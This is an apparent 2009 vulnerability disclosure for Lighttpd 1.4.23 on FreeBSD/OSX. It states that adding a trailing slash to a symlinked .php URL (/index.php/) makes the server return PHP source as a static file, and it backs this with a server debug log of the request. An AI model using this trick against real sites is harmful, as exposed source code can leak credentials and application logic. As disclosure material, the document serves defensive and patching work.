Lighttpd 1.4.23 Code Disclosure

`Severe vulnerability in FreeBSD/OSX with Lighttpd 1.4.23 (latest version)  
  
Most httpd daemons are probably vulnerable to this with FreeBSD/OSX as the OS.  
  
  
http://redmine.lighttpd.net/issues/1989  
  
  
Description  
  
If you put a trailing slash / after the .php and that file is a link, it will just display the content of the file.  
  
2009-05-22 13:40:37: (response.c.221) -- splitting Request-URI  
2009-05-22 13:40:37: (response.c.222) Request-URI : /index.php/  
2009-05-22 13:40:37: (response.c.223) URI-scheme : http  
2009-05-22 13:40:37: (response.c.224) URI-authority: localhost  
2009-05-22 13:40:37: (response.c.225) URI-path : /index.php/  
2009-05-22 13:40:37: (response.c.226) URI-query :  
2009-05-22 13:40:37: (response.c.254) -- sanatising URI  
2009-05-22 13:40:37: (response.c.255) URI-path : /index.php/  
2009-05-22 13:40:37: (response.c.221) -- splitting Request-URI  
2009-05-22 13:40:37: (response.c.222) Request-URI : /index.php/  
2009-05-22 13:40:37: (response.c.223) URI-scheme : http  
2009-05-22 13:40:37: (response.c.224) URI-authority: localhost  
2009-05-22 13:40:37: (response.c.225) URI-path : /index.php/  
2009-05-22 13:40:37: (response.c.226) URI-query :  
2009-05-22 13:40:37: (response.c.254) -- sanatising URI  
2009-05-22 13:40:37: (response.c.255) URI-path : /index.php/  
2009-05-22 13:40:37: (mod_access.c.135) -- mod_access_uri_handler called  
2009-05-22 13:40:37: (response.c.391) -- before doc_root  
2009-05-22 13:40:37: (response.c.392) Doc-Root : /work/websites/freesoft.com/htdocs/  
2009-05-22 13:40:37: (response.c.393) Rel-Path : /index.php/  
2009-05-22 13:40:37: (response.c.394) Path :  
2009-05-22 13:40:37: (response.c.442) -- after doc_root  
2009-05-22 13:40:37: (response.c.443) Doc-Root : /work/websites/freesoft.com/htdocs/  
2009-05-22 13:40:37: (response.c.444) Rel-Path : /index.php/  
2009-05-22 13:40:37: (response.c.445) Path : /work/websites/freesoft.com/htdocs/index.php/  
2009-05-22 13:40:37: (response.c.462) -- logical -> physical  
2009-05-22 13:40:37: (response.c.463) Doc-Root : /work/websites/freesoft.com/htdocs/  
2009-05-22 13:40:37: (response.c.464) Rel-Path : /index.php/  
2009-05-22 13:40:37: (response.c.465) Path : /work/websites/freesoft.com/htdocs/index.php/  
2009-05-22 13:40:37: (response.c.482) -- handling physical path  
2009-05-22 13:40:37: (response.c.483) Path : /work/websites/freesoft.com/htdocs/index.php/  
2009-05-22 13:40:37: (response.c.490) -- file found  
2009-05-22 13:40:37: (response.c.491) Path : /work/websites/freesoft.com/htdocs/index.php/  
2009-05-22 13:40:37: (response.c.640) -- handling subrequest  
2009-05-22 13:40:37: (response.c.641) Path : /work/websites/freesoft.com/htdocs/index.php/  
2009-05-22 13:40:37: (mod_indexfile.c.151) -- handling the request as Indexfile  
2009-05-22 13:40:37: (mod_indexfile.c.152) URI : /index.php/  
2009-05-22 13:40:37: (mod_access.c.135) -- mod_access_uri_handler called  
2009-05-22 13:40:37: (mod_staticfile.c.394) -- handling file as static file  
2009-05-22 13:40:37: (response.c.652) -- subrequest finished  
2009-05-22 13:40:37: (response.c.121) Response-Header:  
  
  
`